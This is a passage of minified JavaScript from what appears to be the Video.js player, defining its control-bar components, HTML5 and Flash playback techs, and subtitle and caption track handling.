s.S=function(){return"vjs-play-control "+t.u.prototype.S.call(this)};s.s=function(){this.d.paused()?this.d.play():this.d.pause()};s.Pb=function(){this.r("vjs-paused");this.n("vjs-playing");this.b.children[0].children[0].innerHTML=this.t("Pause")};s.Ob=function(){this.r("vjs-playing");this.n("vjs-paused");this.b.children[0].children[0].innerHTML=this.t("Play")};t.jb=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.c(a,"timeupdate",this.ia)}});
t.jb.prototype.e=function(){var a=t.a.prototype.e.call(this,"div",{className:"vjs-current-time vjs-time-controls vjs-control"});this.v=t.e("div",{className:"vjs-current-time-display",innerHTML:'<span class="vjs-control-text">Current Time </span>0:00',"aria-live":"off"});a.appendChild(this.v);return a};t.jb.prototype.ia=function(){var a=this.d.fb?this.d.F.currentTime:this.d.currentTime();this.v.innerHTML='<span class="vjs-control-text">'+this.t("Current Time")+"</span> "+t.Ba(a,this.d.duration())};
t.kb=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.c(a,"timeupdate",this.ia)}});t.kb.prototype.e=function(){var a=t.a.prototype.e.call(this,"div",{className:"vjs-duration vjs-time-controls vjs-control"});this.v=t.e("div",{className:"vjs-duration-display",innerHTML:'<span class="vjs-control-text">'+this.t("Duration Time")+"</span> 0:00","aria-live":"off"});a.appendChild(this.v);return a};
t.kb.prototype.ia=function(){var a=this.d.duration();a&&(this.v.innerHTML='<span class="vjs-control-text">'+this.t("Duration Time")+"</span> "+t.Ba(a))};t.kc=t.a.extend({i:function(a,c){t.a.call(this,a,c)}});t.kc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-time-divider",innerHTML:"<div><span>/</span></div>"})};t.rb=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.c(a,"timeupdate",this.ia)}});
t.rb.prototype.e=function(){var a=t.a.prototype.e.call(this,"div",{className:"vjs-remaining-time vjs-time-controls vjs-control"});this.v=t.e("div",{className:"vjs-remaining-time-display",innerHTML:'<span class="vjs-control-text">'+this.t("Remaining Time")+"</span> -0:00","aria-live":"off"});a.appendChild(this.v);return a};t.rb.prototype.ia=function(){this.d.duration()&&(this.v.innerHTML='<span class="vjs-control-text">'+this.t("Remaining Time")+"</span> -"+t.Ba(this.d.remainingTime()))};
t.Oa=t.u.extend({i:function(a,c){t.u.call(this,a,c)}});t.Oa.prototype.la="Fullscreen";t.Oa.prototype.S=function(){return"vjs-fullscreen-control "+t.u.prototype.S.call(this)};t.Oa.prototype.s=function(){this.d.isFullscreen()?(this.d.exitFullscreen(),this.xb.innerHTML=this.t("Fullscreen")):(this.d.requestFullscreen(),this.xb.innerHTML=this.t("Non-Fullscreen"))};t.qb=t.a.extend({i:function(a,c){t.a.call(this,a,c)}});t.qb.prototype.m={children:{seekBar:{}}};
t.qb.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-progress-control vjs-control"})};t.gc=t.R.extend({i:function(a,c){t.R.call(this,a,c);this.c(a,"timeupdate",this.sa);a.H(t.bind(this,this.sa))}});s=t.gc.prototype;s.m={children:{loadProgressBar:{},playProgressBar:{},seekHandle:{}},barName:"playProgressBar",handleName:"seekHandle"};s.Lc="timeupdate";s.e=function(){return t.R.prototype.e.call(this,"div",{className:"vjs-progress-holder","aria-label":"video progress bar"})};
s.sa=function(){var a=this.d.fb?this.d.F.currentTime:this.d.currentTime();this.b.setAttribute("aria-valuenow",t.round(100*this.Hb(),2));this.b.setAttribute("aria-valuetext",t.Ba(a,this.d.duration()))};s.Hb=function(){return this.d.currentTime()/this.d.duration()};s.cb=function(a){t.R.prototype.cb.call(this,a);this.d.fb=f;this.xe=!this.d.paused();this.d.pause()};s.fa=function(a){a=H(this,a)*this.d.duration();a==this.d.duration()&&(a-=0.1);this.d.currentTime(a)};
s.qa=function(a){t.R.prototype.qa.call(this,a);this.d.fb=l;this.xe&&this.d.play()};s.Yc=function(){this.d.currentTime(this.d.currentTime()+5)};s.Xc=function(){this.d.currentTime(this.d.currentTime()-5)};t.nb=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.c(a,"progress",this.update)}});t.nb.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-load-progress",innerHTML:'<span class="vjs-control-text"><span>'+this.t("Loaded")+"</span>: 0%</span>"})};
t.nb.prototype.update=function(){var a,c,d,e,g=this.d.buffered();a=this.d.duration();var h,j=this.d;h=j.buffered();j=j.duration();h=h.end(h.length-1);h>j&&(h=j);j=this.b.children;this.b.style.width=100*(h/a||0)+"%";for(a=0;a<g.length;a++)c=g.start(a),d=g.end(a),(e=j[a])||(e=this.b.appendChild(t.e())),e.style.left=100*(c/h||0)+"%",e.style.width=100*((d-c)/h||0)+"%";for(a=j.length;a>g.length;a--)this.b.removeChild(j[a-1])};t.cc=t.a.extend({i:function(a,c){t.a.call(this,a,c)}});
t.cc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-play-progress",innerHTML:'<span class="vjs-control-text"><span>'+this.t("Progress")+"</span>: 0%</span>"})};t.Pa=t.$.extend({i:function(a,c){t.$.call(this,a,c);this.c(a,"timeupdate",this.ia)}});t.Pa.prototype.defaultValue="00:00";t.Pa.prototype.e=function(){return t.$.prototype.e.call(this,"div",{className:"vjs-seek-handle","aria-live":"off"})};
t.Pa.prototype.ia=function(){var a=this.d.fb?this.d.F.currentTime:this.d.currentTime();this.b.innerHTML='<span class="vjs-control-text">'+t.Ba(a,this.d.duration())+"</span>"};t.tb=t.a.extend({i:function(a,c){t.a.call(this,a,c);a.o&&a.o.featuresVolumeControl===l&&this.n("vjs-hidden");this.c(a,"loadstart",function(){a.o.featuresVolumeControl===l?this.n("vjs-hidden"):this.r("vjs-hidden")})}});t.tb.prototype.m={children:{volumeBar:{}}};
t.tb.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-volume-control vjs-control"})};t.sb=t.R.extend({i:function(a,c){t.R.call(this,a,c);this.c(a,"volumechange",this.sa);a.H(t.bind(this,this.sa))}});s=t.sb.prototype;s.sa=function(){this.b.setAttribute("aria-valuenow",t.round(100*this.d.volume(),2));this.b.setAttribute("aria-valuetext",t.round(100*this.d.volume(),2)+"%")};s.m={children:{volumeLevel:{},volumeHandle:{}},barName:"volumeLevel",handleName:"volumeHandle"};
s.Lc="volumechange";s.e=function(){return t.R.prototype.e.call(this,"div",{className:"vjs-volume-bar","aria-label":"volume level"})};s.fa=function(a){this.d.muted()&&this.d.muted(l);this.d.volume(H(this,a))};s.Hb=function(){return this.d.muted()?0:this.d.volume()};s.Yc=function(){this.d.volume(this.d.volume()+0.1)};s.Xc=function(){this.d.volume(this.d.volume()-0.1)};t.lc=t.a.extend({i:function(a,c){t.a.call(this,a,c)}});
t.lc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-volume-level",innerHTML:'<span class="vjs-control-text"></span>'})};t.ub=t.$.extend();t.ub.prototype.defaultValue="00:00";t.ub.prototype.e=function(){return t.$.prototype.e.call(this,"div",{className:"vjs-volume-handle"})};
t.ka=t.u.extend({i:function(a,c){t.u.call(this,a,c);this.c(a,"volumechange",this.update);a.o&&a.o.featuresVolumeControl===l&&this.n("vjs-hidden");this.c(a,"loadstart",function(){a.o.featuresVolumeControl===l?this.n("vjs-hidden"):this.r("vjs-hidden")})}});t.ka.prototype.e=function(){return t.u.prototype.e.call(this,"div",{className:"vjs-mute-control vjs-control",innerHTML:'<div><span class="vjs-control-text">'+this.t("Mute")+"</span></div>"})};
t.ka.prototype.s=function(){this.d.muted(this.d.muted()?l:f)};t.ka.prototype.update=function(){var a=this.d.volume(),c=3;0===a||this.d.muted()?c=0:0.33>a?c=1:0.67>a&&(c=2);this.d.muted()?this.b.children[0].children[0].innerHTML!=this.t("Unmute")&&(this.b.children[0].children[0].innerHTML=this.t("Unmute")):this.b.children[0].children[0].innerHTML!=this.t("Mute")&&(this.b.children[0].children[0].innerHTML=this.t("Mute"));for(a=0;4>a;a++)t.r(this.b,"vjs-vol-"+a);t.n(this.b,"vjs-vol-"+c)};
t.va=t.L.extend({i:function(a,c){t.L.call(this,a,c);this.c(a,"volumechange",this.update);a.o&&a.o.featuresVolumeControl===l&&this.n("vjs-hidden");this.c(a,"loadstart",function(){a.o.featuresVolumeControl===l?this.n("vjs-hidden"):this.r("vjs-hidden")});this.n("vjs-menu-button")}});t.va.prototype.za=function(){var a=new t.ja(this.d,{rc:"div"}),c=new t.sb(this.d,this.m.volumeBar);c.c("focus",function(){a.n("vjs-lock-showing")});c.c("blur",function(){E(a)});a.U(c);return a};
t.va.prototype.s=function(){t.ka.prototype.s.call(this);t.L.prototype.s.call(this)};t.va.prototype.e=function(){return t.u.prototype.e.call(this,"div",{className:"vjs-volume-menu-button vjs-menu-button vjs-control",innerHTML:'<div><span class="vjs-control-text">'+this.t("Mute")+"</span></div>"})};t.va.prototype.update=t.ka.prototype.update;t.ec=t.L.extend({i:function(a,c){t.L.call(this,a,c);this.bd();this.ad();this.c(a,"loadstart",this.bd);this.c(a,"ratechange",this.ad)}});s=t.ec.prototype;s.la="Playback Rate";
s.className="vjs-playback-rate";s.e=function(){var a=t.L.prototype.e.call(this);this.Hc=t.e("div",{className:"vjs-playback-rate-value",innerHTML:1});a.appendChild(this.Hc);return a};s.za=function(){var a=new t.ja(this.j()),c=this.j().options().playbackRates;if(c)for(var d=c.length-1;0<=d;d--)a.U(new t.pb(this.j(),{rate:c[d]+"x"}));return a};s.sa=function(){this.w().setAttribute("aria-valuenow",this.j().playbackRate())};
s.s=function(){for(var a=this.j().playbackRate(),c=this.j().options().playbackRates,d=c[0],e=0;e<c.length;e++)if(c[e]>a){d=c[e];break}this.j().playbackRate(d)};function ea(a){return a.j().o&&a.j().o.featuresPlaybackRate&&a.j().options().playbackRates&&0<a.j().options().playbackRates.length}s.bd=function(){ea(this)?this.r("vjs-hidden"):this.n("vjs-hidden")};s.ad=function(){ea(this)&&(this.Hc.innerHTML=this.j().playbackRate()+"x")};
t.pb=t.J.extend({rc:"button",i:function(a,c){var d=this.label=c.rate,e=this.Oc=parseFloat(d,10);c.label=d;c.selected=1===e;t.J.call(this,a,c);this.c(a,"ratechange",this.update)}});t.pb.prototype.s=function(){t.J.prototype.s.call(this);this.j().playbackRate(this.Oc)};t.pb.prototype.update=function(){this.selected(this.j().playbackRate()==this.Oc)};t.fc=t.u.extend({i:function(a,c){t.u.call(this,a,c);this.update();a.c("posterchange",t.bind(this,this.update))}});s=t.fc.prototype;
s.dispose=function(){this.j().k("posterchange",this.update);t.u.prototype.dispose.call(this)};s.e=function(){var a=t.e("div",{className:"vjs-poster",tabIndex:-1});t.fd||(this.Eb=t.e("img"),a.appendChild(this.Eb));return a};s.update=function(){var a=this.j().poster();this.ga(a);a?this.b.style.display="":this.Y()};s.ga=function(a){var c;this.Eb?this.Eb.src=a:(c="",a&&(c='url("'+a+'")'),this.b.style.backgroundImage=c)};s.s=function(){this.d.play()};t.bc=t.a.extend({i:function(a,c){t.a.call(this,a,c)}});
t.bc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-loading-spinner"})};t.hb=t.u.extend();t.hb.prototype.e=function(){return t.u.prototype.e.call(this,"div",{className:"vjs-big-play-button",innerHTML:'<span aria-hidden="true"></span>',"aria-label":"play video"})};t.hb.prototype.s=function(){this.d.play()};t.lb=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.update();this.c(a,"error",this.update)}});
t.lb.prototype.e=function(){var a=t.a.prototype.e.call(this,"div",{className:"vjs-error-display"});this.v=t.e("div");a.appendChild(this.v);return a};t.lb.prototype.update=function(){this.j().error()&&(this.v.innerHTML=this.t(this.j().error().message))};
t.q=t.a.extend({i:function(a,c,d){c=c||{};c.Qc=l;t.a.call(this,a,c,d);this.featuresProgressEvents||(this.Ic=f,this.Nc=this.setInterval(function(){var a=this.j().bufferedPercent();this.vd!=a&&this.j().l("progress");this.vd=a;1===a&&this.clearInterval(this.Nc)},500));this.featuresTimeupdateEvents||(a=this.d,this.Nb=f,this.c(a,"play",this.$c),this.c(a,"pause",this.gb),this.Q("timeupdate",function(){this.featuresTimeupdateEvents=f;fa(this)}));var e;e=this.j();a=function(){if(e.controls()&&!e.usingNativeControls()){var a;
this.c("mousedown",this.s);this.c("touchstart",function(){a=this.d.userActive()});this.c("touchmove",function(){a&&this.j().reportUserActivity()});this.c("touchend",function(a){a.preventDefault()});G(this);this.c("tap",this.ce)}};this.H(a);this.c(e,"controlsenabled",a);this.c(e,"controlsdisabled",this.he);this.H(function(){this.networkState&&0<this.networkState()&&this.j().l("loadstart")})}});s=t.q.prototype;
s.he=function(){this.k("tap");this.k("touchstart");this.k("touchmove");this.k("touchleave");this.k("touchcancel");this.k("touchend");this.k("click");this.k("mousedown")};s.s=function(a){0===a.button&&this.j().controls()&&(this.j().paused()?this.j().play():this.j().pause())};s.ce=function(){this.j().userActive(!this.j().userActive())};function fa(a){a.Nb=l;a.gb();a.k("play",a.$c);a.k("pause",a.gb)}s.$c=function(){this.tc&&this.gb();this.tc=this.setInterval(function(){this.j().l("timeupdate")},250)};
s.gb=function(){this.clearInterval(this.tc);this.j().l("timeupdate")};s.dispose=function(){this.Ic&&(this.Ic=l,this.clearInterval(this.Nc));this.Nb&&fa(this);t.a.prototype.dispose.call(this)};s.Tb=function(){this.Nb&&this.j().l("timeupdate")};s.Tc=m();t.q.prototype.featuresVolumeControl=f;t.q.prototype.featuresFullscreenResize=l;t.q.prototype.featuresPlaybackRate=l;t.q.prototype.featuresProgressEvents=l;t.q.prototype.featuresTimeupdateEvents=l;
t.q.dd=function(a){a.Rb=function(c){var d,e=a.Vc;e||(e=a.Vc=[]);d===b&&(d=e.length);e.splice(d,0,c)};a.Rc=function(c){for(var d=a.Vc||[],e,g=0;g<d.length;g++)if(e=d[g].Ta(c))return d[g];return k};a.oc=function(c){var d=a.Rc(c);return d?d.Ta(c):""};a.prototype.Uc=function(c){var d=a.Rc(c);this.Cb();this.k("dispose",this.Cb);this.sc=c;this.Ub=d.Ib(c,this);this.c("dispose",this.Cb)};a.prototype.Cb=function(){this.Ub&&this.Ub.dispose&&this.Ub.dispose()}};
t.g=t.q.extend({i:function(a,c,d){t.q.call(this,a,c,d);for(d=t.g.mb.length-1;0<=d;d--)this.c(t.g.mb[d],this.Fd);(c=c.source)&&(this.b.currentSrc!==c.src||a.I&&3===a.I.Md)&&this.Uc(c);if(t.ic&&a.options().nativeControlsForTouch===f){var e,g,h,j;e=this;g=this.j();c=g.controls();e.b.controls=!!c;h=function(){e.b.controls=f};j=function(){e.b.controls=l};g.c("controlsenabled",h);g.c("controlsdisabled",j);c=function(){g.k("controlsenabled",h);g.k("controlsdisabled",j)};e.c("dispose",c);g.c("usingcustomcontrols",
c);g.usingNativeControls(f)}a.H(function(){this.I&&(this.m.autoplay&&this.paused())&&(delete this.I.poster,this.play())});this.Ka()}});s=t.g.prototype;s.dispose=function(){t.g.Bb(this.b);t.q.prototype.dispose.call(this)};
s.e=function(){var a=this.d,c=a.I,d;if(!c||this.movingMediaElementInDOM===l)c?(d=c.cloneNode(l),t.g.Bb(c),c=d,a.I=k):(c=t.e("video"),t.Sc(c,t.h.z(a.se||{},{id:a.id()+"_html5_api","class":"vjs-tech"}))),c.player=a,t.Jb(c,a.w());d=["autoplay","preload","loop","muted"];for(var e=d.length-1;0<=e;e--){var g=d[e],h={};"undefined"!==typeof a.m[g]&&(h[g]=a.m[g]);t.Sc(c,h)}return c};s.Fd=function(a){"error"==a.type&&this.error()?this.j().error(this.error().code):(a.bubbles=l,this.j().l(a))};s.play=function(){this.b.play()};
s.pause=function(){this.b.pause()};s.paused=function(){return this.b.paused};s.currentTime=function(){return this.b.currentTime};s.Tb=function(a){try{this.b.currentTime=a}catch(c){t.log(c,"Video is not ready. (Video.js)")}};s.duration=function(){return this.b.duration||0};s.buffered=function(){return this.b.buffered};s.volume=function(){return this.b.volume};s.oe=function(a){this.b.volume=a};s.muted=function(){return this.b.muted};s.le=function(a){this.b.muted=a};s.width=function(){return this.b.offsetWidth};
s.height=function(){return this.b.offsetHeight};s.Ha=function(){return"function"==typeof this.b.webkitEnterFullScreen&&(/Android/.test(t.N)||!/Chrome|Mac OS X 10.5/.test(t.N))?f:l};
s.xc=function(){var a=this.b;"webkitDisplayingFullscreen"in a&&this.Q("webkitbeginfullscreen",function(){this.d.isFullscreen(f);this.Q("webkitendfullscreen",function(){this.d.isFullscreen(l);this.d.l("fullscreenchange")});this.d.l("fullscreenchange")});a.paused&&a.networkState<=a.ze?(this.b.play(),this.setTimeout(function(){a.pause();a.webkitEnterFullScreen()},0)):a.webkitEnterFullScreen()};s.Gd=function(){this.b.webkitExitFullScreen()};s.src=function(a){if(a===b)return this.b.src;this.ga(a)};
s.ga=function(a){this.b.src=a};s.load=function(){this.b.load()};s.currentSrc=function(){return this.b.currentSrc};s.poster=function(){return this.b.poster};s.Tc=function(a){this.b.poster=a};s.Ga=function(){return this.b.Ga};s.ne=function(a){this.b.Ga=a};s.autoplay=function(){return this.b.autoplay};s.ie=function(a){this.b.autoplay=a};s.controls=function(){return this.b.controls};s.loop=function(){return this.b.loop};s.ke=function(a){this.b.loop=a};s.error=function(){return this.b.error};
s.seeking=function(){return this.b.seeking};s.ended=function(){return this.b.ended};s.playbackRate=function(){return this.b.playbackRate};s.me=function(a){this.b.playbackRate=a};s.networkState=function(){return this.b.networkState};t.g.isSupported=function(){try{t.A.volume=0.5}catch(a){return l}return!!t.A.canPlayType};t.q.dd(t.g);t.g.V={};
t.g.V.Ta=function(a){function c(a){try{return!!t.A.canPlayType(a)}catch(c){return""}}if(a.type)return c(a.type);a=a.src.match(/\.([^\/\?]+)(\?[^\/]+)?$/i)[1];return c("video/"+a)};t.g.V.Ib=function(a,c){c.ga(a.src)};t.g.V.dispose=m();t.g.Rb(t.g.V);t.g.xd=function(){var a=t.A.volume;t.A.volume=a/2+0.1;return a!==t.A.volume};t.g.wd=function(){var a=t.A.playbackRate;t.A.playbackRate=a/2+0.1;return a!==t.A.playbackRate};t.g.prototype.featuresVolumeControl=t.g.xd();t.g.prototype.featuresPlaybackRate=t.g.wd();
t.g.prototype.movingMediaElementInDOM=!t.kd;t.g.prototype.featuresFullscreenResize=f;t.g.prototype.featuresProgressEvents=f;var V,ga=/^application\/(?:x-|vnd\.apple\.)mpegurl/i,ha=/^video\/mp4/i;
t.g.Kc=function(){4<=t.Xb&&(V||(V=t.A.constructor.prototype.canPlayType),t.A.constructor.prototype.canPlayType=function(a){return a&&ga.test(a)?"maybe":V.call(this,a)});t.od&&(V||(V=t.A.constructor.prototype.canPlayType),t.A.constructor.prototype.canPlayType=function(a){return a&&ha.test(a)?"maybe":V.call(this,a)})};t.g.we=function(){var a=t.A.constructor.prototype.canPlayType;t.A.constructor.prototype.canPlayType=V;V=k;return a};t.g.Kc();t.g.mb="loadstart suspend abort error emptied stalled loadedmetadata loadeddata canplay canplaythrough playing waiting seeking seeked ended durationchange timeupdate progress play pause ratechange volumechange".split(" ");
t.g.Bb=function(a){if(a){a.player=k;for(a.parentNode&&a.parentNode.removeChild(a);a.hasChildNodes();)a.removeChild(a.firstChild);a.removeAttribute("src");if("function"===typeof a.load)try{a.load()}catch(c){}}};
t.f=t.q.extend({i:function(a,c,d){t.q.call(this,a,c,d);var e=c.source;d=c.parentEl;var g=this.b=t.e("div",{id:a.id()+"_temp_flash"}),h=a.id()+"_flash_api",j=a.m,j=t.h.z({readyFunction:"videojs.Flash.onReady",eventProxyFunction:"videojs.Flash.onEvent",errorEventProxyFunction:"videojs.Flash.onError",autoplay:j.autoplay,preload:j.Ga,loop:j.loop,muted:j.muted},c.flashVars),p=t.h.z({wmode:"opaque",bgcolor:"#000000"},c.params),h=t.h.z({id:h,name:h,"class":"vjs-tech"},c.attributes);e&&this.H(function(){this.Uc(e)});
t.Jb(g,d);c.startTime&&this.H(function(){this.load();this.play();this.currentTime(c.startTime)});t.jd&&this.H(function(){this.c("mousemove",function(){this.j().l({type:"mousemove",bubbles:l})})});a.c("stageclick",a.reportUserActivity);this.b=t.f.wc(c.swf,g,j,p,h)}});s=t.f.prototype;s.dispose=function(){t.q.prototype.dispose.call(this)};s.play=function(){this.b.vjs_play()};s.pause=function(){this.b.vjs_pause()};s.src=function(a){return a===b?this.currentSrc():this.ga(a)};
s.ga=function(a){a=t.Jd(a);this.b.vjs_src(a);if(this.d.autoplay()){var c=this;this.setTimeout(function(){c.play()},0)}};t.f.prototype.setCurrentTime=function(a){this.Ud=a;this.b.vjs_setProperty("currentTime",a);t.q.prototype.Tb.call(this)};t.f.prototype.currentTime=function(){return this.seeking()?this.Ud||0:this.b.vjs_getProperty("currentTime")};t.f.prototype.currentSrc=function(){return this.sc?this.sc.src:this.b.vjs_getProperty("currentSrc")};t.f.prototype.load=function(){this.b.vjs_load()};
t.f.prototype.poster=function(){this.b.vjs_getProperty("poster")};t.f.prototype.setPoster=m();t.f.prototype.buffered=function(){return t.zb(0,this.b.vjs_getProperty("buffered"))};t.f.prototype.Ha=r(l);t.f.prototype.xc=r(l);function ia(){var a=W[X],c=a.charAt(0).toUpperCase()+a.slice(1);ka["set"+c]=function(c){return this.b.vjs_setProperty(a,c)}}function la(a){ka[a]=function(){return this.b.vjs_getProperty(a)}}
var ka=t.f.prototype,W="rtmpConnection rtmpStream preload defaultPlaybackRate playbackRate autoplay loop mediaGroup controller controls volume muted defaultMuted".split(" "),ma="error networkState readyState seeking initialTime duration startOffsetTime paused played seekable ended videoTracks audioTracks videoWidth videoHeight textTracks".split(" "),X;for(X=0;X<W.length;X++)la(W[X]),ia();for(X=0;X<ma.length;X++)la(ma[X]);t.f.isSupported=function(){return 10<=t.f.version()[0]};t.q.dd(t.f);t.f.V={};
t.f.V.Ta=function(a){return!a.type?"":a.type.replace(/;.*/,"").toLowerCase()in t.f.Id?"maybe":""};t.f.V.Ib=function(a,c){c.ga(a.src)};t.f.V.dispose=m();t.f.Rb(t.f.V);t.f.Id={"video/flv":"FLV","video/x-flv":"FLV","video/mp4":"MP4","video/m4v":"MP4"};t.f.onReady=function(a){var c;if(c=(a=t.w(a))&&a.parentNode&&a.parentNode.player)a.player=c,t.f.checkReady(c.o)};t.f.checkReady=function(a){a.w()&&(a.w().vjs_getProperty?a.Ka():this.setTimeout(function(){t.f.checkReady(a)},50))};
t.f.onEvent=function(a,c){t.w(a).player.l(c)};t.f.onError=function(a,c){var d=t.w(a).player,e="FLASH: "+c;"srcnotfound"==c?d.error({code:4,message:e}):d.error(e)};
t.f.version=function(){var a="0,0,0";try{a=(new window.ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").replace(/\D+/g,",").match(/^,?(.+),?$/)[1]}catch(c){try{navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin&&(a=(navigator.plugins["Shockwave Flash 2.0"]||navigator.plugins["Shockwave Flash"]).description.replace(/\D+/g,",").match(/^,?(.+),?$/)[1])}catch(d){}}return a.split(",")};
t.f.wc=function(a,c,d,e,g){a=t.f.Ld(a,d,e,g);a=t.e("div",{innerHTML:a}).childNodes[0];d=c.parentNode;c.parentNode.replaceChild(a,c);var h=d.childNodes[0];setTimeout(function(){h.style.display="block"},1E3);return a};
t.f.Ld=function(a,c,d,e){var g="",h="",j="";c&&t.h.X(c,function(a,c){g+=a+"="+c+"&amp;"});d=t.h.z({movie:a,flashvars:g,allowScriptAccess:"always",allowNetworking:"all"},d);t.h.X(d,function(a,c){h+='<param name="'+a+'" value="'+c+'" />'});e=t.h.z({data:a,width:"100%",height:"100%"},e);t.h.X(e,function(a,c){j+=a+'="'+c+'" '});return'<object type="application/x-shockwave-flash" '+j+">"+h+"</object>"};t.f.qe={"rtmp/mp4":"MP4","rtmp/flv":"FLV"};t.f.Le=function(a,c){return a+"&"+c};
t.f.pe=function(a){var c={qc:"",Zc:""};if(!a)return c;var d=a.indexOf("&"),e;-1!==d?e=d+1:(d=e=a.lastIndexOf("/")+1,0===d&&(d=e=a.length));c.qc=a.substring(0,d);c.Zc=a.substring(e,a.length);return c};t.f.Rd=function(a){return a in t.f.qe};t.f.qd=/^rtmp[set]?:\/\//i;t.f.Qd=function(a){return t.f.qd.test(a)};t.f.Sb={};t.f.Sb.Ta=function(a){return t.f.Rd(a.type)||t.f.Qd(a.src)?"maybe":""};t.f.Sb.Ib=function(a,c){var d=t.f.pe(a.src);c.Je(d.qc);c.Ke(d.Zc)};t.f.Rb(t.f.Sb);
t.pd=t.a.extend({i:function(a,c,d){t.a.call(this,a,c,d);if(!a.m.sources||0===a.m.sources.length){c=0;for(d=a.m.techOrder;c<d.length;c++){var e=t.ba(d[c]),g=window.videojs[e];if(g&&g.isSupported()){Q(a,e);break}}}else a.src(a.m.sources)}});t.Player.prototype.textTracks=function(){return this.Ja=this.Ja||[]};
function na(a,c,d,e,g){var h=a.Ja=a.Ja||[];g=g||{};g.kind=c;g.label=d;g.language=e;c=t.ba(c||"subtitles");var j=new window.videojs[c+"Track"](a,g);h.push(j);j.Ab()&&a.H(function(){this.setTimeout(function(){Y(j.j(),j.id())},0)})}function Y(a,c,d){for(var e=a.Ja,g=0,h=e.length,j,p;g<h;g++)j=e[g],j.id()===c?(j.show(),p=j):d&&(j.M()==d&&0<j.mode())&&j.disable();(c=p?p.M():d?d:l)&&a.l(c+"trackchange")}
t.B=t.a.extend({i:function(a,c){t.a.call(this,a,c);this.K=c.id||"vjs_"+c.kind+"_"+c.language+"_"+t.p++;this.Wc=c.src;this.Cd=c["default"]||c.dflt;this.ue=c.title;this.Za=c.srclang;this.Sd=c.label;this.ca=[];this.vb=[];this.pa=this.ra=0;a.c("dispose",t.bind(this,this.vc,this.K))}});s=t.B.prototype;s.M=n("G");s.src=n("Wc");s.Ab=n("Cd");s.title=n("ue");s.language=n("Za");s.label=n("Sd");s.yd=n("ca");s.rd=n("vb");s.readyState=n("ra");s.mode=n("pa");
s.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-"+this.G+" vjs-text-track"})};s.show=function(){oa(this);this.pa=2;t.a.prototype.show.call(this)};s.Y=function(){oa(this);this.pa=1;t.a.prototype.Y.call(this)};s.disable=function(){2==this.pa&&this.Y();this.vc();this.pa=0};function oa(a){0===a.ra&&a.load();0===a.pa&&(a.d.c("timeupdate",t.bind(a,a.update,a.K)),a.d.c("ended",t.bind(a,a.reset,a.K)),("captions"===a.G||"subtitles"===a.G)&&a.d.na("textTrackDisplay").U(a))}
s.vc=function(){this.d.k("timeupdate",t.bind(this,this.update,this.K));this.d.k("ended",t.bind(this,this.reset,this.K));this.reset();this.d.na("textTrackDisplay").removeChild(this)};
s.load=function(){0===this.ra&&(this.ra=1,t.ye(this.Wc,t.bind(this,function(a,c,d){if(a)this.error=a,this.ra=3,this.l("error");else{var e,g;a=d.split("\n");c="";d=1;for(var h=a.length;d<h;d++)if(c=t.trim(a[d])){-1==c.indexOf("--\x3e")?(e=c,c=t.trim(a[++d])):e=this.ca.length;e={id:e,index:this.ca.length};g=c.split(/[\t ]+/);e.startTime=pa(g[0]);e.Aa=pa(g[2]);for(g=[];a[++d]&&(c=t.trim(a[d]));)g.push(c);e.text=g.join("<br/>");this.ca.push(e)}this.ra=2;this.l("loaded")}})))};
function pa(a){var c=a.split(":");a=0;var d,e,g;3==c.length?(d=c[0],e=c[1],c=c[2]):(d=0,e=c[0],c=c[1]);c=c.split(/\s+/);c=c.splice(0,1)[0];c=c.split(/\.|,/);g=parseFloat(c[1]);c=c[0];a+=3600*parseFloat(d);a+=60*parseFloat(e);a+=parseFloat(c);g&&(a+=g/1E3);return a}
s.update=function(){if(0<this.ca.length){var a=this.d.options().trackTimeOffset||0,a=this.d.currentTime()+a;if(this.Qb===b||a<this.Qb||this.$a<=a){var c=this.ca,d=this.d.duration(),e=0,g=l,h=[],j,p,q,w;a>=this.$a||this.$a===b?w=this.Fb!==b?this.Fb:0:(g=f,w=this.Mb!==b?this.Mb:c.length-1);for(;;){q=c[w];if(q.Aa<=a)e=Math.max(e,q.Aa),q.Ra&&(q.Ra=l);else if(a<q.startTime){if(d=Math.min(d,q.startTime),q.Ra&&(q.Ra=l),!g)break}else g?(h.splice(0,0,q),p===b&&(p=w),j=w):(h.push(q),j===b&&(j=w),p=w),d=Math.min(d,
q.Aa),e=Math.max(e,q.startTime),q.Ra=f;if(g)if(0===w)break;else w--;else if(w===c.length-1)break;else w++}this.vb=h;this.$a=d;this.Qb=e;this.Fb=j;this.Mb=p;j=this.vb;p="";a=0;for(c=j.length;a<c;a++)p+='<span class="vjs-tt-cue">'+j[a].text+"</span>";this.b.innerHTML=p;this.l("cuechange")}}};s.reset=function(){this.$a=0;this.Qb=this.d.duration();this.Mb=this.Fb=0};t.Zb=t.B.extend();t.Zb.prototype.G="captions";t.hc=t.B.extend();t.hc.prototype.G="subtitles";t.$b=t.B.extend();t.$b.prototype.G="chapters";
t.jc=t.a.extend({i:function(a,c,d){t.a.call(this,a,c,d);if(a.m.tracks&&0<a.m.tracks.length){c=this.d;a=a.m.tracks;for(var e=0;e<a.length;e++)d=a[e],na(c,d.kind,d.label,d.language,d)}}});t.jc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-text-track-display"})};t.aa=t.J.extend({i:function(a,c){var d=this.ha=c.track;c.label=d.label();c.selected=d.Ab();t.J.call(this,a,c);this.c(a,d.M()+"trackchange",this.update)}});
